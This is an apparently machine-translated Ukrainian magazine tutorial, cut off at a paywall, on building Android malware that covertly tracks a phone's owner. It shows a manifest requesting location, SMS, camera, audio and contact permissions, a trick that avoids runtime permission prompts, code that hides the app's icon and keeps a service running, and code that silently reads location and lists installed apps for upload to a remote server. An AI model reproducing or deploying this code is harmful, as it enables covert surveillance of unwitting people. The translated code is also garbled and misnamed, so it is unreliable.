Донецкий техникум промышленной автоматики

Малваре для Android за півгодини. Відстежуємо розташування, читаємо SMS, пишемо аудіо і робимо фото

  1. Зміст статті Android прийнято називати розсадником вірусів і бекдор. Кожен день тут виявляють...
  2. каркас
  3. Інформація про місцезнаходження
  4. Список встановлених додатків
  5. Продовження доступно тільки передплатникам
  6. Варіант 2. Купи один матеріал

Зміст статті

Android прийнято називати розсадником вірусів і бекдор. Кожен день тут виявляють більше 8 тисяч нових зразків малварі. І ці цифри постійно зростають. Але чи замислювався ти, як ця малваре працює? Сьогодні ми розберемося з цим, вивчивши додаток для Android, здатне збирати інформацію про пристрій, його місцезнаходження, робити фотографії і записувати аудіо. І все це з віддаленим керуванням.

Отже, наше завдання - розібратися, як працюють сучасні шкідливі програми. А найкращий спосіб це зробити - подивитися, як створюється схожий софт. Як і бойової зловредів, наш приклад при бажанні зможе спостерігати за цільовим пристроєм і передавати інформацію про нього на сервер.

Можливості будуть наступні:

  • збір інформації про місцезнаходження;
  • отримання списку встановлених додатків;
  • отримання СМС;
  • запис аудіо;
  • зйомка задньої або фронтальною камерою.

Все це додаток буде відправляти на віддалений сервер, де ми зможемо проаналізувати результати його роботи.

Все це додаток буде відправляти на віддалений сервер, де ми зможемо проаналізувати результати його роботи

WARNING

Важливо! Створення і розповсюдження шкідливих програм карається позбавленням волі до чотирьох років (стаття 273). Ми не хочемо, щоб ти зламав собі життя в місцях позбавлення волі, тому публікуємо статтю виключно в освітніх цілях. Адже найкращий спосіб розібратися в роботі шкідливого ПО - це дізнатися, як воно створюється.

каркас

Зі зрозумілих причин я не зможу привести повний код програми в статті, тому деякі завдання тобі доведеться виконати самому (для цього будуть потрібні деякі знання в розробці додатків для Android).

На цьому етапі завдання наступна: створити додаток з порожнім (або просто нешкідливим) інтерфейсом. Відразу після запуску додаток приховає свою іконку, запустить сервіс і завершиться (сервіс при цьому буде продовжувати працювати).

Почнемо. Створи додаток, вказавши в маніфесті наступні дозволи:

<Uses-permission android: name = "android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android: name = "android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android: name = "android.permission.INTERNET" / > <uses-permission android: name = "android.permission.CAMERA" /> <uses-permission android: name = "android.permission.RECORD_AUDIO" /> <uses-permission android: name = "android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android: name = "android.permission.READ_PHONE_STATE" /> <uses-permission android: name = "android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android: name = "android.permission.READ_CONTACTS "/> <uses-permission android: name =" android.permission.READ_SMS "/>

У build.gradle вкажи compileSdkVersion 22 і targetSdkVersion 22. Так ти врятуєш додаток від необхідності запитувати дозволу під час роботи (22 - це Android 5.1, обов'язковий запит дозволів з'явився в 23 - Android 6.0, але працювати додаток буде в будь-якої версії).

Створи порожню Activity і Service. У метод onStartCommand сервісу додай рядок return Service.START_STICKY. Це змусить систему перезапускати його в разі ненавмисного завершення.

Додай їх опис в маніфест (тут і далі наш додаток буде називатися com.example.app):

<Activity android: name = "com.example.app.MainActivity" android: label = "@ string / app_name"> <intent-filter> <action android: name = "android.intent.action.MAIN" /> <category android: name = "android.intent.category.LAUNCHER" /> </ intent-filter> </ activity> <service android: name = "com.example.app.MainService" android: enabled = "true" android: exported = "false"> </ service>

Всю злісну роботу ми будемо робити всередині сервісу, тому наша Activity буде дуже проста:

void onCreate (Bundle savedInstanceState) {super.onCreate (savedInstanceState) // Запускаємо сервіс startService (new Intent (this, MainService.class)); // Відключаємо Activity ComponentName cn = new ComponentName ( "com.example.app", "com.example.app.MainActivity"); pm.setComponentEnabledSetting (cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); }

Цей код запустить сервіс відразу після запуску програми і відключить активність. Побічним ефектом останнього дії стане завершення програми та зникнення іконки з лаунчер. Сервіс продовжить роботу.

Інформація про місцезнаходження

Тепер ми повинні додати в сервіс код, який буде збирати інформацію, що цікавить нас інформацію.

Почнемо з визначення місця розташування. В Android є кілька способів отримати поточні координати пристрою: GPS, по стільникових вишок, по Wi-Fi-роутера. І з кожним з них можна працювати двома способами: або попросити систему визначити поточне місце розташування і викликати після закінчення операції наш колбек, або запитати ОС про те, які координати були отримані в останній раз (в результаті запиту позиціонування від інших додатків, наприклад) .

У нашому випадку другий спосіб набагато зручніше. Він швидкий, абсолютно непомітний для користувача (не призводить до появи іконки в рядку стану) і не жере акумулятор. Крім того, його дуже просто використовувати:

Location getLastLocation (Context context) {LocationManager lManager = (LocationManager) context.getSystemService (Context.LOCATION_SERVICE); android.location.Location locationGPS = lManager.getLastKnownLocation (LocationManager.GPS_PROVIDER); android.location.Location locationNet = lManager.getLastKnownLocation (LocationManager.NETWORK_PROVIDER); long GPSLocationTime = 0; if (null! = locationGPS) {GPSLocationTime = locationGPS.getTime (); } Long NetLocationTime = 0; if (null! = locationNet) {NetLocationTime = locationNet.getTime (); } Location loc; if (0 <GPSLocationTime - NetLocationTime) {loc = locationGPS; } Else {loc = locationNet; } If (loc! = Null) {return loc; } Else {return null; }}

Ця функція запитує систему про останні координатах, отриманих за допомогою визначення місця розташування по стільникових вишок і по GPS, потім бере найсвіжіші дані і повертає їх у формі об'єкта Location.

Далі можна витягти широту і довготу і записати їх в файл всередині приватного каталогу нашого застосування:

Location loc = getLastKnownLocation (context) String locationFile = context.getApplicationInfo (). DataDir + "/ location" try {OutputStreamWriter outputStreamWriter = new OutputStreamWriter (context.openFileOutput (locationFile, Context.MODE_PRIVATE)); outputStreamWriter.write (loc.getLatitude () + "" + loc.getLongitude); outputStreamWriter.close (); } Catch (IOException e) {}

Коли прийде час відправляти дані на сервер, ми просто віддамо йому цей та інші файли.

Список встановлених додатків

Отримати список встановлених додатків ще простіше:

void dumpSMS (Context context) {String appsFile = context.getApplicationInfo (). dataDir + "/ apps" final PackageManager pm = context.getPackageManager (); List <ApplicationInfo> packages = pm.getInstalledApplications (PackageManager.GET_META_DATA); try {PrintWriter pw = Files.writeLines (appsFile); for (ApplicationInfo packageInfo: packages) {if (! isSystemPackage (packageInfo)) pw.println (pm.getApplicationLabel (packageInfo) + ":" + packageInfo.packageName); } Pw.close (); } Catch (IOException e) {}} private boolean isSystemPackage (ApplicationInfo applicationInfo) {return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)! = 0); }

Метод отримує список всіх додатків і зберігає його в файл apps всередині приватного каталогу програми.

Продовження доступно тільки передплатникам

Варіант 1. Оформи передплату на «Хакер», щоб читати всі матеріали на сайті

Підписка дозволить тобі протягом зазначеного терміну читати ВСЕ платні матеріали сайту. Ми приймаємо оплату банківськими картами, електронними грошима і перекладами з рахунків мобільних операторів. Детальніше про підписку

Варіант 2. Купи один матеріал

Зацікавила інформація, але немає можливості оплатити підписку? Тоді цей варіант для тебе! Зверни увагу: цей спосіб покупки доступний тільки для матеріалів, опублікованих більше двох місяців тому.


Але чи замислювався ти, як ця малваре працює?